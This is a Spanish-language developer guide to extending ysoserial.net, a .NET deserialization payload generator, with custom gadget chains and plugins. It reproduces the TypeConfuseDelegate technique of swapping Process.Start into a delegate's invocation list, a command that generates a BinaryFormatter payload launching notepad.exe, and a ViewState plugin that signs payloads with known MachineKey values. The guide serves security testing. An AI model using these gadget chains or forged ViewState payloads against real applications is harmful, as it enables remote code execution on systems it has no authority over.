Guía para desarrolladores de ysoserial.net: Cadenas de gadget personalizadas y desarrollo de extensiones
ysoserial.net es una herramienta avanzada para generar payloads de deserialización .NET, diseñada para evaluar y mitigar vulnerabilidades de deserialización en aplicaciones .NET.
1. Configuración del entorno y estructura del proyecto
Para comenzar con el desarrollo de gadgets y plugins personalizados, es necesario clonar el repositorio del proyecto:
git clone https://gitcode.com/gh_mirrors/ys/ysoserial.net
El código principal reside en el directorio ysoserial, que contiene subdirectorios clave como Generators, Plugins y Helpers.
1.1 Interfaces fundamentales
La arquitectura de ysoserial.net se basa en interfaces para la extensibilidad:
Interfaz IGenerator (definida en ysoserial/Generators/IGenerator.cs):
Name(): Nombre del generador.Generate(): Produce el objeto payload.Serialize(): Serializa el payload.SupportedFormatters(): Lista los formateadores compatibles.
Interfaz IPlugin (definida en ysoserial/Plugins/IPlugin.cs):
Name(): Nombre del plugin.Description(): Descripción funcional.Options(): Define los parámetros de línea de comandos.Run(): Ejecuta la lógica principal del plugin.
2. Construcción de cadenas de gadget personalizadas
2.1 Implementación de un nuevo Generator
Para crear una cadena de gadget, implemente la interfaz IGenerator. El siguiente es un esqueleto básico:
public class GadgetPersonalizado : IGenerator
{
public string Name() => "GadgetPersonalizado";
public List<string> SupportedFormatters() =>
new List<string> { "BinaryFormatter", "LosFormatter" };
public object Generate(string formatter, InputArgs argumentos)
{
// Lógica para construir el payload
return ConstruirMiGadget(argumentos.Cmd);
}
// Implementación restante de la interfaz...
}
2.2 Lógica interna del gadget
Analizando el generador TypeConfuseDelegateGenerator, su núcleo implica manipular cadenas de delegados para lograr la ejecución de código. Un fragmento de código reestructurado podría ser:
// Configuración inicial del delegado
Delegate comparadorBase = new Comparison<string>(string.Compare);
var delegadoCompuesto = (Comparison<string>)MulticastDelegate.Combine(comparadorBase, comparadorBase);
var comparador = Comparer<string>.Create(delegadoCompuesto);
// Alteración de la lista de invocación mediante reflexión
FieldInfo campoInvocacion = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] listaActual = delegadoCompuesto.GetInvocationList();
listaActual[1] = new Func<string, string, Process>(Process.Start);
campoInvocacion.SetValue(delegadoCompuesto, listaActual);
2.3 Registro y verificación
Tras registrar el nuevo generador, se puede probar mediante la interfaz de línea de comandos:
ysoserial.exe -g GadgetPersonalizado -f BinaryFormatter -c "notepad.exe"
3. Desarrollo de plugins de extensión
3.1 Flujo de desarrollo
La creación de un plugin sigue una serie de pasos estructurados. Tomando como ejemplo ViewStatePlugin:
Paso 1: Definición de la clase e interfaz
public class PluginViewState : IPlugin
{
public string Name() => "ViewState";
public string Description() => "Genera un payload ViewState utilizando parámetros MachineKey conocidos.";
public OptionSet Options() => new OptionSet
{
{"g|gadget=", "Nombre de la cadena de gadget", v => nombreGadget = v},
{"vk|validationkey=", "Clave de validación MachineKey", v => claveValidacion = v}
// ... otros parámetros
};
public object Run(string[] args)
{
// Procesamiento de argumentos y generación del payload final
return GenerarViewState(payload, claveValidacion, /*...otros*/);
}
}
Paso 2: Manejo de argumentos
Se utiliza la librería NDesk.Options para el análisis de parámetros específicos del plugin.
Paso 3: Lógica de procesamiento
Los plugins típicamente encapsulan un generador existente y aplican transformaciones adicionales:
// Instanciación dinámica del generador subyacente
IGenerator generador = (IGenerator)Activator.CreateInstance(
null, "ysoserial.Generators." + nombreGadget + "Generator"
).Unwrap();
// Obtención del payload base
byte[] payloadCrudo = (byte[])generador.GenerateWithNoTest(formateador, argumentosEntrada);
// Aplicación de cifrado y firma específicos de ViewState
return AyudanteMachineKey.Proteger(payloadCrudo, claveValidacion, /*...otros*/);
3.2 Plugins comunes de ejemplo
El proyecto incluye plugins de utilidad como ViewStatePlugin, SessionSecurityTokenHandlerPlugin, SharePointPlugin y DotNetNukePlugin.
4. Estrategias avanzadas y recomendaciones
4.1 Depuración y pruebas
- Emplear el proyecto
TestConsoleApppara depuración local. - Utilizar métodos como
Debugging.ShowErrors()para un manejo de excepciones mejorado. - Habilitar la salida de depuración con el parámetro
--isdebug.
4.2 Mejora del rendimiento
- Implementar métodos como
Minifypara reducir el tamaño del payload. - Usar
UseSimpleTypepara simplificar la información de tipos. - Reutilizar componentes de gadgets ya existentes.
4.3 Precauciones de seguridad
- Seguir los principios de divulgación responsable.
- Utilizar los payloads únicamente en entornos autorizados.
- Gestionar con cuidado la información sensible, como las claves MachineKey.
5. Recursos de referencia
- Documentación oficial: Archivo
README.mden la raíz del proyecto. - Ejemplos de generadores: Directorio
ysoserial/Generators/. - Ejemplos de plugins: Archivos como
ysoserial/Plugins/ViewStatePlugin.cs. - Clases de ayuda: Ejemplos en
ysoserial/Helpers/SerializersHelper.cs.